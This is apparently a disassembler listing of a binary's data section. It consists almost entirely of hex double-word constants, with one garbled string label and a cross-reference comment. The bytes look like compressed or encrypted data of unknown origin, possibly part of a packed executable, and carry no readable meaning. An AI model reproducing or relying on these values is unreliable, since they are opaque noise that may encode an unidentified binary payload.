		dd 7DE287h, 64D2AFBBh, 9F485588h, 2E39401h, 0C9C53470h
		dd 98586870h, 6E3114C6h, 7D00842Ah, 0DB728B0Fh,	0BD0CF353h
		dd 3270D61Dh, 0BCEC0058h, 7565D9B0h, 0DD013D27h, 55C5C02Bh
		dd 0CDD877A5h, 0B0160015h, 318BD436h, 0CC0253C7h, 0FE9F8FD6h
		dd 2770E866h, 79972C8Ah, 10EC0067h, 0E9202B03h,	77CB348h
		dd 0FA2AEB16h, 80774540h, 0FED0A879h, 8E20A03Dh, 0A39BB8DAh
		dd 0B4D5A06Ah, 0EF37310h, 68E4D120h, 84BBF46h, 7147CB00h
		dd 2540D66Dh, 5F7A2E28h, 0F68D3AFEh, 20506F02h,	28B8ECB1h
		dd 60CC2B30h, 50FF34F7h, 90383Bh, 499E9A12h, 2AF37CC0h
		dd 63FF3514h, 98822010h, 0FEA9147Dh, 78140C64h,	14066089h
		dd 0D4342AFBh, 7DD30500h, 0AECB6C5h, 0F0AF00F4h, 8685DC16h
		dd 80F6FEAh, 0C0258C19h, 0F8477C8Bh, 0FC0B011Ah, 1E1FE9E0h
		dd 0EC33D099h, 9CDB9200h, 0E76316C5h, 0AB710025h, 0FC39B4E5h
		dd 0B2001910h, 2DF880FDh, 1CC55363h, 803EC04Ch,	0F7CC8FF2h
		dd 5000E8B9h, 0E66DE1BAh, 0EF84101h, 801614CBh,	0CA26FD00h
		dd 0EE2AD6C7h, 4C008CC4h, 0CF0A71Ch, 240E0811h,	4B52945h
		dd 0C0AD7903h, 0D490EF26h, 67FF1004h, 0FCC02D2Ch, 0CFA571B6h
		dd 88F59E40h, 0EAF8CE00h, 34E82B11h, 0BCC1E700h, 0C52D4566h
		dd 7D2EEB0h, 52D7CCA8h,	879FA3E0h, 6C363900h, 3E033130h
		dd 0A1B200D3h, 97585312h, 0B8006284h, 987823C9h, 103DD242h
		dd 11D75E0h, 8EA50A7Dh,	0B7F83F46h, 10E0039h, 897CDC2Dh
		dd 0D21EB85Ch, 1D03D077h, 900F4F6Ah, 0F8BFD68Fh, 49EB00F7h
		dd 0F3CAEEAAh, 8CF2D4A2h, 3A424h, 0BE76AE43h, 131D0069h
		dd 0A8FC3663h, 0B9C38B9Dh, 815601A4h, 0ECF8B1B5h, 5DC15815h
		dd 0EF7BE800h, 0F72E7C46h, 9DA66900h, 0EA213380h, 3DF0004Eh
		dd 31B64792h, 0ED09341Bh, 8C327F28h, 462A1139h,	842C0288h
		dd 20521244h, 0BB467F97h, 0FF741C9h, 8304F56Ch,	7D43E850h
		dd 0D85B5810h, 421F432h, 291C4DE3h, 183029FBh, 0CE651Ch
		dd 0E7E634A0h, 532DB817h, 0F6796100h, 5574F821h, 2E520DA6h
		dd 9D694887h, 22B058h, 3D0B5FBEh, 7ADD5C8Ch, 46BA70Ah
		dd 2B3B10FDh, 54873CC8h, 0CE000D31h, 1E63A0DEh,	7D619B1Bh
		dd 48029400h, 7F1DE808h, 69BDB001h, 4207F212h, 6B1B818Eh
		dd 56C498C0h, 0BC33FBDBh, 4F085Eh, 42618221h, 5DCD4ED4h
		dd 603B891Fh, 5FF779B0h, 0DFD10099h, 0FB3E8F6Eh, 8CC7F86h
		dd 14121EBh, 1324D191h
		dd 8A28984Eh, 806F2E39h, 11AE443h, 57FC7AD1h, 0F3D86A29h
		dd 0EF4DD390h, 211BE430h, 0E384BEh, 0D4613170h,	802E5481h
		dd 782447E7h, 60CAA680h, 7B7B619h, 377A6335h, 1ED14024h
		dd 4C1C41C4h, 7C4064CEh, 7843A736h, 0E3321BF5h,	0E4B04111h
		dd 9B0398C0h, 933F5BD1h, 170830B9h, 0C0EC5F21h,	0F08DF80Fh
		dd 0CB440033h, 253C84h,	6CE6BD97h, 9B5C61F4h, 0E0C37A2Ah
		dd 93F39F00h, 97FBA96Fh, 4EA70A09h, 0A8ECFC84h,	0CB3C4508h
		dd 0EBA89822h, 0C008E018h, 70F19B94h, 0C01CE853h, 78007924h
		dd 2EB058A0h, 971800D0h, 73C34AD3h, 933D6596h, 8392BB5Eh
		dd 57BF878h, 0D840FD7Ch, 55B7C8FEh, 1C4D068Fh, 99406B2Eh
		dd 0B07C5B00h, 93FB5CF9h, 4330C106h, 0BE05CA04h, 0F02F2A81h
		dd 533CE000h, 15D78678h, 2E0B0E33h, 5A309C2h, 31646FC0h
		dd 0EA6330E0h, 0E19B9AF8h, 512F448Ch, 15C0F201h, 446B34F8h
		dd 0E0614C40h, 16F500D4h, 875C3FD8h, 0BCAAC782h, 27199884h
		dd 0FC81B81Ah, 0BE0A8588h, 665DE4F4h, 0C12D21F8h, 3002EB7Bh
		dd 0C7DF26CBh, 3C9484A9h, 0E8C9608h, 70848143h,	58E205B5h
		dd 834A67Dh, 0D18385A0h, 0FA95FFh, 35D71261h, 8BB05502h
		dd 78201F1Eh, 2B08F3h, 22DBD79h, 0E4134C57h, 38F60935h
		dd 2E23503Ah, 7D05FD02h, 4F58845Eh, 7F6A9F40h, 99E486D0h
		dd 53BF5807h, 0C881D83Eh, 0F9DB763Ch, 0D8420EE3h, 3F660410h
		dd 35001623h, 0DB572B05h, 56AB0081h, 859B7422h,	0A504061Ah
		dd 9708B604h, 217D3C92h, 114E0E4Ch, 97C433ADh, 357C9Ch
		dd 7E1AE382h, 2FFDC4DFh, 29630F34h, 31E96C82h, 0C499D86Ah
		dd 50226E46h, 42608100h, 4091F09Eh, 9F4E085Ch, 0DC200134h
		dd 98029246h, 33B06A02h, 0C2102A31h, 2F3E0230h,	42010045h
		dd 61D5A82h, 0C0E7547Bh, 0E2CA0E9Fh, 0B462D49Bh, 0ADC06996h
		dd 453E05C5h, 9670672h,	471B106h, 0B7C4A6F7h, 83C48865h
		dd 91E44F44h, 0FBD900B8h, 0A94C3256h, 35CE1101h, 0B6FC4FB2h
		dd 266569E8h, 11D86D86h, 0D198806Fh, 8C676EE2h,	425844h
		dd 75AAD190h, 921DB5EBh, 502A9D0Ch, 0C71321EFh,	804FF11Ah
		dd 18DD06E0h, 0C6479F05h, 93828D6Dh, 44584742h,	80D6028h
		dd 0E0F91CCCh, 0C104CAD6h, 87720174h, 801CE4A1h, 843C6111h
		dd 1171D03h, 34D249A7h,	52137683h, 0C1211990h, 9BED791Ah
		dd 1DB8960h, 0C8EEB4E6h, 408CCDCFh, 470D97ACh, 7EAD88h
		dd 98DB713Bh, 48A8F522h, 99564Ch, 5C35DF6Ch, 0F3647A99h
		dd 6FE3E834h, 2D026922h, 0F5C0B430h, 2607BD42h,	80D8842Ah
		dd 9A189250h, 0BC9E006Ch, 41994FDAh, 7007968Ch,	0BA8B6D5Bh
		dd 0F1506191h, 7D80B055h, 1EE91D94h, 0C0496BD5h, 0CC555185h
		dd 0B701EC69h, 9854F544h, 4040E436h, 431F1Ah, 611B25EFh
		dd 0BEEC9C3Ah, 0D3556D00h, 95A04251h, 0E2AB0011h, 463C0396h
		dd 4E1215DBh, 0C402E85h, 7C5CA697h, 38AE7576h, 0A8C8985Dh
		dd 8C5AE8h, 667243F0h, 0C83CF6A8h, 0CCBF042Ah, 4B0F3B01h
		dd 503F0180h, 0DDF140F3h, 0BF7ABDh, 0C6CF9C1Fh,	0AE9181B5h
		dd 0A97D623Fh, 9826D06Fh, 858EFB10h, 9B650691h,	46B013C7h
		dd 4573BE6h, 0D976C434h, 8F2A5432h, 4B314200h, 48B693E8h
		dd 0B700C4E4h, 184E33Ah, 10020EA5h, 73D3F0A7h, 0AED4E0EFh
		dd 0F3138806h, 6D069BF6h, 0EE501071h, 7F770019h, 7BC3A62Eh
		dd 8302065Ch, 43F1F08h,	0B8490CDh, 31D66A4Fh, 574674D0h
		dd 0FFB9C700h, 0C0686C0Ah, 24BF2526h, 2C46BC28h, 9E8BDE3Fh
		dd 0A81CC19Bh, 0C0E65D1Dh, 8697003Ch, 859D2AF6h, 691116EAh
		dd 7DF800A6h, 97101EA3h, 7A29B0F2h, 2AD134CCh, 810BEC18h
		dd 18438B66h, 0B90EC4h,	54132B62h, 2AC39FC8h, 9C3CCC92h
		dd 0A60972BDh, 97CFE2FEh, 802B91C8h, 0C4FE3EF0h, 0C86D599Fh
		dd 0E8BCEC49h, 4C56E900h, 825E9D4Dh, 8B90C873h,	6B0297C0h
		dd 244AEFB0h, 22FB700h,	4AB177A9h, 516E5201h, 597D060Fh
		dd 2E88EC28h, 4F403444h, 8DDE1A2Ch, 135C410Eh, 90026030h
		dd 4B2805E5h, 9F10219Bh, 8091F24Eh, 0D8324Fh, 0E0CC748Ch
		dd 0EDA55Ch, 0C8E2F81Ch, 159AAD0h, 6597FC01h, 2A64599h
		dd 418026DDh, 0D1ECB357h, 11007705h, 0D9905A0Bh, 3F5F181Ah
		dd 4128D01h, 966830C7h,	99604EA6h, 0F7A1211h, 111F44E4h
		dd 0E2DE0A01h, 0B87F985Ah, 0E4505822h, 5BCD4483h, 800CFA48h
		dd 8C39B09Ah, 581D6444h, 7E143F5h, 0D531004Dh, 4C6941E5h
		dd 3000BF08h, 0E3388768h, 0FE2E34F4h, 98550103h, 14A006FEh
		dd 96002178h, 0F0483C0Eh, 234C096h, 9346B056h, 0B6182322h
		dd 8090022Ch, 0F9BB0004h, 95814E4Ah, 3D88460Dh,	87440116h
		dd 821603Ch, 5019804Ah,	4BF2CBA2h, 0B243059Dh, 0CCB1BF41h
		dd 45007570h, 0A098EBE1h, 3789DAh, 25AD14B7h, 5C97A6E5h
		dd 0E84EF629h, 18C40404h, 0C0FA1488h, 0A4AEB9C1h, 0AA18BA80h
		dd 1921141Bh, 368B0237h, 0CA03C599h, 805C28E6h,	70DD804Ch
		dd 192F030h, 4FED99F9h,	817197CAh, 2F980A29h, 0AF302A77h
		dd 0FB67027Ah, 6B0D842h, 1A0EAC4Ch, 8B12CAFCh, 4C940AC3h
		dd 4D3AC466h, 0F92CCE8h, 46AB9EBCh, 10532431h, 42637Ch
		dd 3B2B1FE6h, 339A4EB8h, 0B446C4AAh, 5B9CF000h,	5AA9A6C4h
		dd 68F5582Fh, 6AA8224Ah, 5830F311h, 0E5048C2Dh,	0C99B9DC0h
		dd 5C202D62h, 1282C0EDh, 122FE95Dh, 970C9040h, 0C500B603h
		dd 73B92475h, 0F8E4BFB0h, 601C9EFBh, 1BA5B841h,	8BD37D07h
		dd 0A6408060h, 0F9C3267h, 0C57F627Eh, 0D5656480h, 711C6E5Fh
		dd 1FE9198h, 55236699h,	1080A29Bh, 323990C8h, 20007807h
		dd 48EA0E8Ch, 0A2D362h,	4A9A815Ch, 0A5D4731Bh, 983C6F74h
		dd 0CA830092h, 0C9656B8Fh, 87B6C8Bh, 0D27A6430h, 0D47E627Ch
		dd 0CF701B00h, 0D5796DA6h, 8F6E147Eh, 44764D6h,	2DFBA8AFh
		dd 2024F214h, 29E608Ch,	43B0236Ch, 0B80F2111h, 0A9800236h
		dd 5374377Ah, 87C4FB1Fh, 1C4A6747h, 2B8882B0h, 0A8FD5CFAh
		dd 561DED23h, 8EC43582h, 40DC1BD9h, 14426C85h, 0D02800A2h
		dd 343FB86Eh, 0B2145E9h, 9B04004Fh, 53C0DE8Bh, 0D6690C06h
		dd 18486034h, 0C95A9F4Eh, 9430DAB0h, 0B7C28804h, 0A0EA6C86h
		dd 0A02DBF40h, 91149DF5h, 65E802Ah, 0F296BA6h, 19679574h
		dd 88447A0Bh, 0E840009Eh, 3EA7442Ah, 0C806F082h, 883F329Fh
		dd 2A44BC87h, 5254E060h, 2FB4FA1Ch, 15F58280h, 9C623B8Ah
		dd 0D19360CCh, 7F466EDDh, 3F1EF222h, 66C6D18Bh,	9DA904E4h
		dd 0F2D5D6C0h, 0ED149300h, 9F11BF09h, 68AF0567h, 17022FC0h
		dd 5506EC4h, 9C148EADh,	31D463h, 0C0BC4CB1h, 4505C1FDh
		dd 9643C09Eh, 9063A288h, 10D1946Ch, 0E0876EDEh,	8D18C46h
		dd 6E45CBDh, 94434085h,	258BC0FAh, 0B9078C10h, 0DFB983Ch
		dd 11801F09h, 0F689802Dh, 14C124A3h, 0F84A511Eh, 0F47F1284h
		dd 0C0187CBCh, 19D8C3AEh, 0F5923837h, 23428A80h, 0C084FD1Bh
		dd 78F9D567h, 0F5FE8950h, 5ABA00AAh, 0B880FD19h, 0E804E213h
		dd 0E7CB1245h, 723EA880h, 6C414818h, 0EE2684h, 7A488BF8h
		dd 0D189C075h, 82AFFE14h, 43205869h, 54DD908h, 1AD4A180h
		dd 93348166h, 0A52A2703h, 0A0EF8A79h, 30A299A9h, 35884702h
		dd 2754FB5Ch, 7A00D280h, 8A494A52h, 0FAC1695h, 833A4244h
		dd 4E657520h, 3499B3D4h, 0FDB00506h, 0D0560971h, 24072E6Bh
		dd 235B3099h, 2228AC15h
		dd 6E0C8831h, 0F0FAFBC0h, 7C341872h, 558C4941h,	386AB013h
		dd 0B45C2C43h, 2F915E01h, 24235Ch, 0F692CD74h, 681366B2h
		dd 38028C4Dh, 923D8h, 1F5BCB11h, 9EA43D0Ch, 69DA022h, 9A7C43A8h
		dd 20E11032h, 58BEDB40h, 49F0EA47h, 87144Dh, 50DE52E0h
		dd 0FB226BC5h, 24A71F07h, 0CB304C5Dh, 0E4F68372h, 180C9809h
		dd 0A130FB8Bh, 0A400D292h, 0C5B164ACh, 1338C16Ah, 0CBCFA31Eh
		dd 0A39D04h, 0BA9A9E4Dh, 3F03B0CBh, 0A68A9B73h,	12C0241Bh
		dd 941C0420h, 0C08CD14Dh, 5618A30h, 4E40DCB5h, 8007CBD0h
		dd 7E4A34A2h, 9BD42897h, 977C88h, 0E9628BA5h, 471FB39Fh
		dd 3053C748h, 2E919132h, 0B8841F6Bh, 868EC00Dh,	637119C3h
		dd 55C9E04h, 0E0A90F08h, 1F92FE00h, 0DF687F88h,	0CC6E6F4Eh
		dd 111B6A0Fh, 823C1484h, 7A055D94h, 97289404h, 0BA808CA8h
		dd 0E2C56DDDh, 0B258C209h, 995CE8E4h, 0C11402C7h, 0DAD751Fh
		dd 0E4D19643h, 61218021h, 4C8A46DFh, 681A0EBDh,	87E0967Dh
		dd 556B388Fh, 0D92E8401h, 0F650625Ch, 8AF3A850h, 56BB0011h
		dd 0B4C572DCh, 57009B07h, 0C3058B73h, 541EC478h, 1C750DBh
		dd 609152Fh, 60C24DCBh,	46763424h, 80D16E87h, 0F0DB4139h
		dd 0D39501D6h, 5272BA73h, 0AF44D4F3h, 5944B8A7h, 60E76067h
		dd 8FEC29A6h, 7904A49h,	1BD84F0Fh, 0FB2003F9h, 0B9890025h
		dd 74500CC1h, 0CC00B7CBh, 0BAB28875h, 48807B63h, 530258CAh
		dd 3B72A29Bh, 9BC44463h, 0B42DC104h, 0E4FCD015h, 48219523h
		dd 2009B895h, 850079E3h, 7B8C519Ah, 0FA6A89h, 82AEEBA6h
		dd 0FE3376E2h, 1EAFC409h, 3F200048h, 6055B97h, 0CF44BD86h
		dd 980319C6h, 3E8A6B67h, 8417FA80h, 996091CCh, 0B0216902h
		dd 31B9C02Bh, 22008602h, 0F836CC92h, 98341CDAh,	8BD54A78h
		dd 0C12AC854h, 0D011D77Eh, 0E0C72A3h, 50452473h, 582095E3h
		dd 0C3A8CB38h, 4BF90900h, 0B108A04Ah, 0E79A1897h, 490EE058h
		dd 9A6DF80h, 5BD976BCh,	4EEF6420h, 0FF4C609Dh, 8C21F8C4h
		dd 8042513Eh, 0F69CFC4Dh, 99762F3h, 0E7735BA6h,	0AC770CA4h
		dd 8CD434h, 46D9BB9Fh, 71D4BC9Dh, 995C28E3h, 7A232580h
		dd 2EC444E5h, 0AE72CF60h, 3870DA14h, 0E4884B90h, 0BA1D008Dh
		dd 0F0A36211h, 9609B2C4h, 91904E76h, 943250D8h,	0A99F2A3Eh
		dd 626681E4h, 1051852Eh, 6E7608Bh, 0E1434E31h, 8840897h
		dd 0A76A9901h, 2D67D856h, 1C879420h, 898D047Ah,	348B89FDh
		dd 0D19A8430h, 976EE011h, 4080EC88h, 17D8D192h,	0E8BA489Bh
		dd 9C7C5B18h, 0B00BFB9Eh, 252C9472h, 10F2ACA4h,	0A0CF58F7h
		dd 0DDFBD6D9h, 42F7128Ch, 4E0C058Eh, 1030B493h,	13403890h
		dd 48B779C8h, 5018245Ch, 637A9F0h, 1636F60Eh, 9580874Dh
		dd 8DB10CB0h, 0CB4F0FADh, 2EE25F83h, 0A4AA457Dh, 505A08C4h
		dd 4D899409h, 0C0606210h, 0B700D051h, 48920FD7h, 77862CB4h
		dd 27C130E8h, 1658C605h, 61798888h, 7205FC0h, 0E4EAB3C3h
		dd 84CA9F04h, 7E34D09Dh, 0A8164D59h, 8C20A6DAh,	33B9965h
		dd 3473FC68h, 18095B57h, 0F6A2C04h, 0B017FDB0h,	0C8FD160Bh
		dd 263AD398h, 2430A708h, 148A9FA8h, 9D807C6Ch, 6F6EE3D1h
		dd 3D5A448Ch, 34D19500h, 0EA10FA1Fh, 459D0FF0h,	0A2CF8189h
		dd 0B80030C9h, 508FD4E3h, 5877B22Ch, 0CA9C9700h, 3CB79BD5h
		dd 76250423h, 5791E897h, 0BDA47B80h, 0AE0AC83Ah, 0C0B7D670h
		dd 5079F660h, 68D516D8h, 976C60FEh, 132CD067h, 33911C35h
		dd 57CA2Ch, 750D8AD4h, 91000F71h, 0CD97BD7Bh, 9065F55Ch
		dd 26D460Ch, 6EE4D19Eh,	3C051C77h, 6CC1D196h, 766AEC8Ch
		dd 0CCF0029h, 2D3FD9CDh, 0BA00BDCEh, 3691F25Ah,	96A2A425h
		db 34h,	40h
aC_0		db '{ԗŘ',0             ; DATA XREF: ___:off_435718o
		db 0BCh
		dd 9DFDCF12h, 0B0CD4EB1h, 1F5B13F4h, 23E02F7Ah,	0E3ED002Dh
		dd 0C12C498Eh, 2CFD8A24h, 341C5A12h, 903B288h, 9013832Eh
		dd 666B7E0h, 6F859880h,	441218F9h, 0A443E760h, 1D40CFC4h
		dd 52821687h, 18B01240h, 0EB8949F5h, 3CE20D3Bh,	9AF80745h
		dd 0C5B992D8h, 6057C434h, 392310Ch, 0B856BFA5h,	78042C33h
		dd 24227A9Bh, 31B0FCA0h, 93180603h, 0F09845C1h,	5174B0Ch
		dd 90C45876h, 5EBCE8ECh, 834C028Ch, 4F713034h, 64445062h
		dd 14509C81h, 378050B8h, 0D7AE6369h, 0D92A2100h, 0A541DEBh
		dd 0ACB01343h, 6BEC04CBh, 0A0C85252h, 711A0748h, 50694E37h
		dd 0BF62673Ch, 80E3471h, 5F3E3F6Fh, 80C9D892h, 0CA4A5833h
		dd 0C317C850h, 8ABA3E6Bh, 61F15D60h, 95902400h,	2DAEBE9Ch
		dd 728B00A7h, 7D7FC87Eh, 29F89DCCh, 0A0B2187Ch,	0BC20894Ch
		dd 0C8008CF3h, 0FA43CD05h, 1296CE1Eh, 20CA04B4h, 7E7C1BE4h
		dd 2245348h, 72C9249Fh,	0E2444047h, 3C082C6Ah, 526CA638h
		dd 4656285Ch, 0E82F00EDh, 82A29BECh, 0EE70C144h, 441E0FB0h
		dd 40081ACh, 16243DBCh,	6005F90Ah, 748BD140h, 64C12BC8h
		dd 472A7C2Eh, 8562F0D0h, 0A008A887h, 134DDBh, 180BB008h
		dd 5BF99B78h, 0E7469898h, 97098848h, 58465EC4h,	407B5544h
		dd 34FE7E62h, 0B4227C4Bh, 9BAA3086h, 25268212h,	0B86AA007h
		dd 98140D84h, 133B5E10h, 6824C304h, 0F26A08Ch, 866CB58Ah
		dd 8EEDA3C2h, 76CF4F60h, 0E5A85C27h, 6028E4E4h,	1C71419Ah
		dd 5E30E722h, 2E5B4907h, 1823E819h, 0D86E88EDh,	28274F34h
		dd 136744C0h, 0E88B263h, 9399739Ah, 4B0EE562h, 0F12E84A3h
		dd 70268FF8h, 380BC200h, 0C7AEFE1Fh, 0CADD0E39h, 0E9EB05CBh
		dd 6E91C81Bh, 0C6B10103h, 27001429h, 50207674h,	0E97CEA36h
		dd 0F488624Eh, 0E47501A8h, 1BAB0E71h, 0C81DC0FCh, 0AFF6F472h
		dd 0E8FBAE26h, 74164676h, 416F7400h, 83215D3Ah,	49849886h
		dd 6A079CCEh, 25F505C0h, 0E04CB645h, 0FF3E553h,	7C05D4CEh
		dd 88928454h, 204317Ch,	0B86889B4h, 0F3CFCBC0h,	63FE12ACh
		dd 71900585h, 88AD4Dh, 229C8C6Ch, 0E2C421h, 8FF5315Ah
		dd 0ACE8188Ah, 8306403Dh, 5C9977C7h, 26AAC943h,	2144820h
		dd 72AE730Bh, 38582194h, 179A2E44h, 1865F84h, 0EE9D2D0Ah
		dd 7482D07Fh, 0D7C59001h, 6DA22F96h, 2DFFE442h,	23A43460h
		dd 5940D182h, 0D51829h,	0F6DD3C8Bh, 5B4664A9h, 8EB4130Bh
		dd 0E47C384Dh, 4A6B0095h, 0A02A9C54h, 963F925Fh, 3E2779C7h
		dd 0C208216Ah, 9C3D18B7h, 41499205h, 6FDEC137h,	0F5E040B3h
		dd 0A8482E1Bh, 338DA080h, 0FCCA4830h, 648B6313h, 129C0C88h
		dd 0B003AFE9h, 649FC9B4h, 7B680093h, 11E6FBFh, 460070FDh
		dd 0A4FB51E6h, 169DFACAh, 1F314A39h, 802E9E7Ah,	32C008E3h
		dd 510391EBh, 697298FCh, 606BA2E9h, 3667CE3h, 5DE36508h
		dd 0AC04490h, 76F88B47h, 6E841000h, 0F970C545h,	75A84808h
		dd 4792F41Fh, 100C680Eh, 0FBC6379Ah, 679D220Fh,	0FE0A6CFCh
		dd 80E53905h, 823E1F87h, 0A86149E4h, 0FE14E057h, 8C2F544Eh
		dd 0F02D2A23h, 938F0435h, 82378A65h, 4E10E970h,	0BC209D92h
		dd 0B5CAF7Ah, 0CC404F4Ah, 0E8DA1863h, 0BB5F001Ch, 0CE2EED3Ch
		dd 5B00A936h, 10FA847Ch, 0BAC767Dh, 67982902h, 0C4A14464h
		dd 0FEE11831h, 0E99B2699h, 0F0507188h, 2101E7C0h, 2A189420h
		dd 463A0EFEh, 0CA3FD2BCh, 65C00126h, 392CC70Ch,	68A09DFBh
		dd 0BB537351h, 0DA344800h, 6F881FDh, 0EE6C019Bh, 0B6D5E021h
		dd 0BC083CDBh, 401C8C2Ch, 0D93A8346h, 608C9218h, 42A20AFh
		dd 0BB918A24h, 44A6F20Fh, 14A9D00Eh, 0CC01ACACh, 0B69F7FBCh
		dd 0CFE1F7A5h, 2DF20022h, 0DC55D833h, 8BA74F65h, 0C026C8B0h
		dd 0B8B1698Dh, 4E7720Bh, 0D850CBCEh, 0B645682Eh, 41F54468h
		dd 10DBC598h, 0FCB8D47Dh, 61C2801h, 8A0AF3FAh, 126D96C8h
		dd 0DCD7D8h, 0A6BCCD2Ch, 8C9C9F42h, 0E4BB1084h,	0D52758A8h
		dd 2EE45CE5h, 587E3962h, 0B9044540h, 2B1F05F5h,	214DF65Bh
		dd 0D80221F4h, 0D8036518h, 0AF97C5B1h, 44B9FEBh, 0ACE292B8h
		dd 5B305AF2h, 4FDA480Ch, 7EF8FF00h, 0C92C17F4h,	48058A4Bh
		dd 0C4C69378h, 2E220BB1h, 0D4AF547Dh, 1CF1A249h, 0C288003Ah
		dd 0C4B9F3D2h, 7A3E0E82h, 0B120ABF6h, 5B3013FBh, 683CC200h
		dd 4EA573EBh, 0D93328D0h, 99F098ACh, 182BF114h,	0E424006Eh
		dd 0AEC2F84Bh, 12505882h, 6209CBC8h, 0C6912FE9h, 0AF08DFD8h
		dd 0A8D0146Bh, 80002AC7h, 0D8C6E3BEh, 582360h, 0DAFF56Eh
		dd 686778EFh, 516439CCh, 9A081805h, 5CA00893h, 7C0120D6h
		dd 45692E62h, 0E16C5B10h, 0F0D2367Dh, 0ECC8848Bh, 0ACC30AC0h
		dd 0E9525F3h, 40CC60A7h, 19B64294h, 0F6D00600h,	960B730Fh
		dd 7F68071Dh, 47C4A137h, 0D2DEA1E7h, 82B2FCFCh,	35444E09h
		dd 0C008EDFEh, 9D32223Ah, 0C7081900h, 0F5F06E2Bh, 4C0E3065h
		dd 8869D329h, 7052D401h, 14B4DD22h, 0B415420h, 18A3F758h
		dd 3D1F9420h, 5258F28Ch, 44034BE4h, 0ECC8EF23h,	4ADC2CA0h
		dd 0FFB8907Ah, 0A912A006h, 0D8A24D95h, 0E682360Bh, 905AEC29h
		dd 58C46C85h, 571C1060h, 0BCDD8000h, 81BF3D40h,	0D3774F05h
		dd 10E30460h, 96727901h, 0D6C3B0EDh, 4A0A5C20h,	0C878CB97h
		dd 1478C1ECh, 9F41C4A8h, 0C6974A12h, 17EF8A0h, 0FC625F45h
		dd 921B01A6h, 0D8CCC880h, 6800E926h, 0DB5927C0h, 0E09C5678h
		dd 192527Eh, 9766B224h,	529BB06Dh, 7C6AF6C0h, 584CFC5Ah
		dd 8C26E8A8h, 0B5831704h, 1CB9FBEBh, 28A3C700h,	45A85FDFh
		dd 38384379h, 9C3524D1h, 0D6CF3C60h, 9A88A059h,	0FB3F2DB0h
		dd 0C0BD24E8h, 0DBCC1E1Fh, 6B9B9C07h, 1CC20105h, 0ACB20FCh
		dd 0BE09425Bh, 0C5AD65C1h, 67EBE49Ch, 0F9B86E33h, 807CE8D7h
		dd 1018C4C0h, 5C005058h, 646F980Fh, 57706D9h, 92891C26h
		dd 194A29Fh, 1AA1DEBCh,	0BC38C2F3h, 0C48439C5h,	0CEE4161Ah
		dd 6DB10D0h, 23BC2E93h,	0C9A60024h, 7144FD55h, 0E3C5102h
		dd 80C604B1h, 4E8A9B40h, 0A62F8146h, 794B8470h,	0E99F00C4h
		dd 74360ACAh, 1D01B57Ch, 52E63039h, 6ECCB9F2h, 883E5E3Fh
		dd 8500BA2Ch, 9E67E478h, 10D90DCh, 3E80D797h, 0C91AFED4h
		dd 27F4323Ah, 66C20FDh,	58A7F6h, 0DCA914B1h, 177D9B2Dh
		dd 0C0B69A78h, 3CECBD81h, 7C0893D4h, 3AC57E5Ch,	311E027Dh
		dd 7997DF75h, 185EF194h, 427C04A0h, 0F2F02A32h,	0B1AF0010h
		dd 0D40C38ACh, 9E88F675h, 5A46D484h, 0BADFB603h, 0ADB078A0h
		dd 0AC266D4Bh, 0FD11385Bh, 76038604h, 9B72C00Ah, 4E51A6AAh
		dd 54226ED4h, 29A3090h,	0A3B05811h, 0BC802C88h,	55AF0232h
		dd 36E404F7h, 0B8FE1444h, 92CC805Ch, 8CB71h, 0ADEF8E0h
		dd 7A87A742h, 0E8D17035h, 5AF220A2h, 2EFA430h, 7DB8D61Ch
		dd 0DA80EDAEh, 0F696C124h, 0A74FEC90h, 3E541020h, 0CA500F2h
		dd 6A3A203Ch, 5FEE5047h, 0DA0E0B79h, 51B3058Bh,	0C448C04Ch
		dd 72C0304h, 938E2AFh, 51CFA293h, 182C7168h, 6F040B87h
		dd 0F4A1DFC0h, 6652447Eh, 3353A22Ch, 763D26C8h,	0CFC45606h
		dd 4FF8654Ah, 0B644177Ah, 3676B160h, 0C57B2DCh,	440EA0D0h
		dd 0C4013E71h, 0C0A708Dh, 6C0E169h, 228917Ah, 883C86Eh
		dd 625AE0DAh, 182FC017h, 0E00F323h, 0C2A04036h,	0E47D0053h
		dd 0C12A9FF9h, 9D805756h, 74010267h, 3D5C7306h,	9B5FC4E0h
		dd 58D4DA52h, 2FFB12FCh
		dd 41DB98A4h, 5BC0F0CBh, 95A90F60h, 31AFC405h, 50585EDAh
		dd 2C173A30h, 2381ACDBh, 7C61D4C6h, 0F90F1250h,	0A6373C80h
		dd 4DE928CAh, 0BC9A0550h, 0C06FA2E7h, 95778338h, 81294E04h
		dd 0F4A823B8h, 57CB1201h, 533A9FCAh, 40093DECh,	0E1A27A99h
		dd 5082BDA8h, 2588723Eh, 0F55B8480h, 0BF088Ah, 0E5C06AF0h
		dd 45050BBDh, 6884B462h, 0F58B0188h, 0F464EAAAh, 81B880h
		dd 0CB5BA698h, 306B7853h, 54B6A5F0h, 53465Eh, 1CE88C3h
		dd 90CFC8BDh, 5C3DBD49h, 0B9D12200h, 42F80C7h, 3472A7F8h
		dd 0CEFCA884h, 0C50106Ah, 0B7E098F1h, 87F09C10h, 1FBA8214h
		dd 706E5B98h, 53CDC00h,	8508E4D2h, 13FB8A3Fh, 18F034BBh
		dd 7805887Ah, 0FEF0A09Dh, 6432AF3Ch, 0A25B9807h, 0A49C00ACh
		dd 0D7AD6613h, 8ABF007Ah, 2872515Dh, 0DD014C2Eh, 0E5E7830h
		dd 0A431F607h, 236C2F2Eh, 8C97005Ah, 0BFF5A4B3h, 60E71F25h
		dd 1B74030h, 4A4191F3h,	3D7D055Ch, 630E3F94h, 0E8CDBF41h
		dd 0D3CAD743h, 0E7D808D9h, 0B9441580h, 904FEB68h, 3CC94C3Eh
		dd 16E80E10h, 2CC8FC7Fh, 67D88B22h, 2E00E99Bh, 73DAF694h
		dd 0EF04DDh, 0A4B20DFBh, 0C38A7D7Ch, 82123CF8h,	641D0638h
		dd 0EC648CA6h, 9AC29E67h, 809C66C4h, 426F8000h,	11E9E6Dh
		dd 495E248h, 0EDC86A8Fh, 0F8C886F2h, 2706FD44h,	0E881EFD8h
		dd 228A16F5h, 30EDF2FCh, 9BFE4928h, 0C0968227h,	4EB856D0h
		dd 998CC097h, 47585BE1h, 0A20048E4h, 807A0271h,	0C4838C7Ch
		dd 5077509Fh, 41D5D818h, 7D91F0A2h, 50E441C1h, 6E3BD1FBh
		dd 0BEE338FCh, 0B0260225h, 8A325CBAh, 4674F4B8h, 4DC3950h
		dd 2DAEAC1Bh, 409FB082h, 805CC208h, 60376B30h, 72976024h
		dd 0C54882A9h, 0A44301A9h, 98003ECEh, 3F995B6Fh, 0C24202D5h
		dd 625C5410h, 9E13845Eh, 94B95CD4h, 9644B4D2h, 2DCC9858h
